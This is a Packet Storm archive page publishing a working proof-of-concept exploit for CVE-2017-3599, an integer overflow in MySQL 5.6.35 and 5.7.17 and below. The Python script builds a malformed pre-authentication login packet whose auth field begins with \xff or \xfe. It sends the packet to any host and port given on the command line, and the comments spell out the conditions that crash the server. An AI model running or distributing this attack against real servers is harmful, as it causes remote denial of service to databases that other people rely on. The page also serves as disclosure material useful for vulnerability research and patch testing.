what you don't know can hurt you

MySQL 5.6.35 / 5.7.17 Integer Overflow

MySQL 5.6.35 / 5.7.17 Integer Overflow
Posted May 1, 2017
Authored by Rodrigo Marcos

MySQL versions 5.6.35 and below and 5.7.17 and below suffer from an integer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2017-3599
MD5 | b75b270cdc0e95780d2eb0566b2c31c7

MySQL 5.6.35 / 5.7.17 Integer Overflow

Change Mirror Download
'''
# Source: https://raw.githubusercontent.com/SECFORCE/CVE-2017-3599/master/cve-2017-3599_poc.py
# Exploit Title: Remote MySQL DOS (Integer Overflow)
# Google Dork: N/A
# Date: 13th April 2017
# Exploit Author: Rodrigo Marcos
# Vendor Homepage: https://www.mysql.com/
# Software Link: https://www.mysql.com/downloads/
# Version: 5.6.35 and below / 5.7.17 and below
# Tested on: N/A
# CVE : CVE-2017-3599
'''

import socket
import sys
from struct import pack

'''
CVE-2017-3599 Proof of Concept exploit code.

https://www.secforce.com/blog/2017/04/cve-2017-3599-pre-auth-mysql-remote-dos/

Rodrigo Marcos

'''

if len(sys.argv)<2:

print "Usage: python " + sys.argv[0] + " host [port]"
exit(0)

else:
HOST = sys.argv[1]

if len(sys.argv)>2:
PORT = int(sys.argv[2]) # Yes, no error checking... living on the wild side!
else:
PORT = 3306

print "[+] Creating packet..."

'''
3 bytes Packet lenth
1 bytes Packet number

Login request:

Packet format (when the server is 4.1 or newer):

Bytes Content
----- ----
4 client capabilities
4 max packet size
1 charset number
23 reserved (always 0)
n user name, \0-terminated
n plugin auth data (e.g. scramble), length encoded
n database name, \0-terminated
(if CLIENT_CONNECT_WITH_DB is set in the capabilities)
n client auth plugin name - \0-terminated string,
(if CLIENT_PLUGIN_AUTH is set in the capabilities)

'''

# packet_len = '\x64\x00\x00'

packet_num = '\x01'

#Login request packet
packet_cap = '\x85\xa2\xbf\x01' # client capabilities (default)
packet_max = '\x00\x00\x00\x01' # max packet size (default)
packet_cset = '\x21' # charset (default)
p_reserved = '\x00' * 23 # 23 bytes reserved with nulls (default)
packet_usr = 'test\x00' # username null terminated (default)

packet_auth = '\xff' # both \xff and \xfe crash the server

'''
Conditions to crash:

1 - packet_auth must start with \xff or \xfe
2 - packet_auth must be shorter than 8 chars

The expected value is the password, which could be of two different formats
(null terminated or length encoded) depending on the client functionality.
'''

packet = packet_cap + packet_max + packet_cset + p_reserved + packet_usr + packet_auth
packet_len = pack('i',len(packet))[:3]

request = packet_len + packet_num + packet

print "[+] Connecting to host..."
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print "[+] Connected."

except:
print "[+] Unable to connect to host " + HOST + " on port " + str(PORT) + "."
s.close()
print "[+] Exiting."
exit(0)

print "[+] Receiving greeting from remote host..."
data = s.recv(1024)
print "[+] Done."

print "[+] Sending our payload..."
s.send(request)
print "[+] Done."
#print "Our data: %r" % request

s.close()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    1 Files
  • 2
    Dec 2nd
    16 Files
  • 3
    Dec 3rd
    17 Files
  • 4
    Dec 4th
    23 Files
  • 5
    Dec 5th
    11 Files
  • 6
    Dec 6th
    10 Files
  • 7
    Dec 7th
    1 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    15 Files
  • 10
    Dec 10th
    30 Files
  • 11
    Dec 11th
    8 Files
  • 12
    Dec 12th
    20 Files
  • 13
    Dec 13th
    6 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close